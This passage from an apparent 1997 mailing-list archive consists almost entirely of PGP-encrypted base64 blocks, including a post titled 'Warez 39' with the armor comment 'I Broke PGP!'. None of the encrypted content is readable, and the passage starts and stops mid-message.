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
hUDCwg1vn/dFA9CvsPS2QRPy/d0=
=FgLX
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 12:59:13 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Fri, 19 Dec 1997 04:59:13 +0800
Subject: Warez 39
Message-ID: <199712182031.OAA13218@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7DINMGxDQny3o6RZSieVjrnknwKYk2RTobmQR0EBL5CrpGpB
+VBcJA+mFTFiKJnRznuh7BVBnECq1GInmIXeMTfR/MkrkzSPShQeCh6Qh6ydbUYq
DMg2Ai7BW4mlEefVkMTv2TfrwIuVtEcYKuWtmsvFCc3kP5cb4qW7snlstDVKrWtO
hTqFXm81yHqJ9jk4R94aJcjBhV4vPPEG7fzWDiENWLl9mlClykbhVFyCuXEkTUdU
dQDOUkV8mhwZVHFhCECnUWzdGSzx6WBHxP3FoCu0RlpDQhmMIlezfnslcBT/gjMe
H2fwmsiqVguaLielGRWEqsX676UELmjWSyNQbtakse5+OSOJV1Jdc/EwQX6IDF86
pffpnrL0VGCPS+1Uetx3RmqX2XpSLKEYQRwvh6V61fubH9avcueRKilBN3VqPGTU
q7H4rmNwzaugfwCLkwcyHfOGL4l53iJnY/eRGZm6DuO5v9I/MG5D3+KFphZSPz9k
+cDRAljjejncNJRGY6xCIZDiymMKHGBZqllifOIgD/ESugk7eiSYNBCNSfKdpkr5
6RhtxVPuSerWE2akQpX8CQQ5mMUZnYyvM6OA+PYyy9iqjSfu5osfDSl0p5FsouQy
/o0RYBj6f3j2EaGZAQCL/4qB0R7fVvTvDJcwNxz5WVoqBngD/NQ8cROxMfqxRK5y
lEnvvLSBsKFhK90TUdQdMYco4aY/fOZxjy2O5qHVBaGIS6lSvmARhDd4aTFHiICd
c+nxTP/RAY/1BV1xd72AgpAU9LYZXlqcFt1VRTUv9PwVy4lgu62QBJgqFtbw2AnY
I0Bu44GR6hxEszeqS6PwhioN61J/GmcbljcesdvP7nEcHKCMGXXk6uW8ycudtKXE
juYULaLWyrKGkPGbMOV22ffhCWc14upcwrwKqdrJ0y0x6M7Yi1mR+gtr78BHwwUc
flgxoLuv8g/9+NODcHPSY9EYbAgOEl93vnRB//SkaTuLne7U3j/xnqOkr3iBbN7T
nbSHfvPRjiUFPv/gdbThOVZLTCkFj7C4WuJFT48kB39EVVAN+J8pyYR+/MWJFv3o
OtB0O1aRZdqfqd3m30rFwoxYtvknSFuTnN+ZVs+I8DdJmnyrLOKezSy8XCqTQsnv
cn4ud34D6mrXP7Ja0CYlnyBg0lwaNWSom9CTALSm5ZEFFJVJrACO7dVMo7O1e80w
rd8I9NRdMUBXr4MlKD4X0sYuATuOQhe591o6RhSYDhO8MWcBW1hBANiIeBO5/Zcy
PK50+mqdEOdLF6jH+8VRZuH5W3ZYNMGogXsYcwPQ7NriLqHwN9OvFFG8bI7MFcpB
picgHwPi/1UOwrCbi8CW/UeXRLv2hptv6KhQHdt0Q9kTdOr0BogH6I5btxK9sgNE
ViJkXDDFMfGrO4ziKSUs9BVd2sT48ky+KpgCnT2C68a5tWbIXddaBM3PjF+XZRcq
UpH88fFsWBDG3wk+8mfD52L3uAgLzy8r39Kwe+kG2J901EnNF/RtAbAnAtwoy7pA
8mCaPiW4B9090bs61rhpF69Cxqn2WM+w0n1hNTODkgpwEwm/LGz3c+tLdXXxhmWk
gd5IPM3E9XfM+xGveiBLyV0kjl5+QADGE8ZSsGZPvRdMEwxSRzb/GANeiriGgEYN
ikT2Lay5EDLqabey6qQ3nMDrFBLXEi8qfjSDhYKXJhejVc/EU28S69eNLiySacld
L7mlq2Ax/PrftAiuJJ1A7q0Z23a190Ve9rUe0cMe66XJzNQtICGTVvBepb8fIUCc
WalXoQl97kbhOk3GlnN5FU1s79GO27JlJcACfg6U4Z5oR2KOECr8bn523vuUJn6E
3AF6BnOO7oGbe1zD+OY5By4yydjqBlh1AezolCf30YEoY/V8NfOr9K+JTOllL3+w
sCVYRvxVAGVWEFb9SjKi/zYkbLta0GJSlInK2SJ/q0avKPmJmT3HvnOP2EoGD3uu
9JIgRpMiIeVrLL9/X9KQlWNFtmCUEyHlx+6vqXMjLkY1NRSqyklCl6cZf7EbFtwe
9hnYCMEoEyQtifeSNVJGTqvYvqtk2LP3MnMEf+rfK30OlTqKGmvwsoMBgY5+Zf4U
/rDnOhJOqXSh4rTxZyNEr7+Jg0k+mcKTIZFj5fSGi9FnP/CKLqEX4f4i+D0mWk8w
aJousDon8FDdEGnTlFlrwX4vYvVU/L3BKVNyzCAObBbGeGonzcKEa0sMMCvjsYcn
K+lObLgoQhMtQe74kNhkMO9KaHqTD32ahDBLud3sk4xbCJ3yeONWzb7wqGlNqRVA
q9wv+AvFIcnYML4Oo5jz/MeYvWYhL3x9UBfHHFk81selX1FmUWnaK8pW55v8Gv0n
BYawLyoxdRi9ZiTVV09Io+JouCTP0gukkoyyVVRpW4biREP5VvMptBVfT7QO3F3W
/O+ApJPwo341qPhGTv3N8tcV/B8GpRUYy0EnsTzw+OgzIhDMxPQQM982wzvv/153
cBxQrNu4as673FiQFsNQAxfgdPxI++N/YTt5zVZemiMnjy/jXI9bnXbuFaBhCZ4/
d+Lhclk4Tq13QP5GbttdDzcnxGcGRIxebqqT+8Bshvbm+stfUufzqUwe7Xo46uxf
bxFRvRwN1uHh3bsTGzniut/64tXyBfMjJaX7LOB5nN3M0M1zpR+t7/pYdQu+oOFy
qH4TSNlvqVkm62kazyGPLUVF4VK4lNBeHNDdfww9hAZcpxRDo2a1tenASX8DgFb/
QIXuf/f0t2FdV8CrXGyWvYYi7F4/VAqIVuf7vjVn7Hie++Y49MFnt1zQgsUUS9dn
22Tx8lL+2einhfuex2CdyrlrEnDaBkwoJPBzoaCrzWJv5YSKunaSiCiYJyB9Koow
d7z2sgBdHb2wJSo1kd1/UJACHxGawRnUyNFRLiZx2++8Vc4oiljzPFdNiC7jcT1o
kNCIUQYRMSqGJMIqo035UZ9pVCmDXdzMD6zE+/UUFLyTB2GWDa0zGYObHN8k8tpo
+HgLBfD+/zp1SUNPs1VMPqrLaqAmE7bZVyEzG3O1Rd1lNFYYGIkQLVz5GPrchEOP
Shg5d0vG3Ys6N5XWvYg3hkWaIzIiKAocFMTYFrpLLwV6OfHt4o2NGjbbWT9Zaagz
rNYBGV9s0kiPffRUffg2wpD+iZ80gB3UhhMrwZuL6sJtz6hX2IgB+J9niGPqChvD
RxgQJoWqTVyni1CmIy5kAbjRee89HT9rcKnFQhVEWfEejZpfgOMTGbGid8Dbm0wd
wdF6dvHe0KNEtF+nNmec/iUhWTwvx1izIcZl0roLltNYqsiPilILDgxiSTIJf21x
qOnEhgnVrw05Ndt0RpoOkMQRgXCaVnrFTRKVG9qJh0gG93hs4YSm50XClw+B9Alw
FgHvkFmA13vAklPqr9hAYNBh9MzNLnEi+/e6hkI1kTs4uAQYdBIQt3xD4162J8DR
2RtzaC7FZFQk8ye5dv1EdNbm4jPqR97uX9T2aCaAlwBs+hN3kAqJJkZLA3ScspWk
CUKw6tvkg2XKPlmn+1Znz8KJuAjJIIaxep8grnEVMkGtnLuyf8exwsEtfyHdVWY1
a1nz6hSTV1taiAYnGjQc/smldGI7gcWDtiFvOlHtfRfNoGnCuKaVLeXXeLKVVL6w
5AEWQOhswaXIrtapXdi5flGJbIkpeW782GURnNskbZOgV6PdSs46vIU237VXWUvu
S3SPT5KugDYvkNJLET2d/uiDopETsIwPrqZKLIwvJl/Tph2Yzvkf1FXUiQWaa0Kq
6xHUn9KNGFEJciiwz4C4/KH38p6lgo1qlq6mvW7hDs0tVxuXM4Xch6FzsFRbyv3k
mNTpmqkseuXHGkpKnYMcws4kTfRx8rq9LJ4kRXAwH7vKlO1nCX+S+oN03ozM9Niw
9GIyjAkOLQMcBctA6cl6SUmZH+fAJHJMLaBDYpQUN1OEJTrn/axUcGcGz95TI3PF
y+Z09tXLut9EUuthInkQLlt7JdTajmS0mu6nuIyEkLAHK0nVluTdAHgktZ/RT6xg
kaAsaKOMolMlDUcrNMKfUuV6vqgZ5hCHVn/jsvQ41EIzTxQ1v7rSJnVNM+C7eVBz
KqMdhQHB5hUfMwjTrWi4KcfkDoKSDRn+o21jMqJLvT6WviFDlrjDfA9Z/TaeX1vU
ADq2uDl75f4UYUVJJslLzYjfKPYLYIy9HVuN6/yYLdgsxETQUDAhlumFRUVVk5zZ
QABXAtJGODxBEi9a74joyyKMUeSn1k+zVx50g42dOwkcuBTIbdw61MYTNGJYgujI
SyBnlRHQwfeIafLTH8v2yld0vs53s1yBjqOGv9lB52K0aPaZj2DCJKiRm6m4VdGP
QcJgO8quQWzuwanxMSU4yc5Qc0efVN1X3a9mIS8jg7lX075lJGGys/eNDL+XOm1+
2ira+EV0BqsbFovZAHv4YlXfrmE0oUqQ292CPDRMZWcYurZ2v8nLOaZ7jf2Ht/yp
Ei9yFz8xT1/4Dx+fVyPm0kVQbKs5bwxG00FrO9Cpjemljda1acW90B8qhdgWT+zo
Ad8nErCgk2NyLKSLVPalvoDfHP8lSFtiPhDyT4cJVycJuSsC41HiGUvnv7o2yoTT
Zd3JpH3GA1gbCmo4XqagtTVnag135tlQqBWHyQqJvqlbsfgsJsASLSE/6NDAq7gl
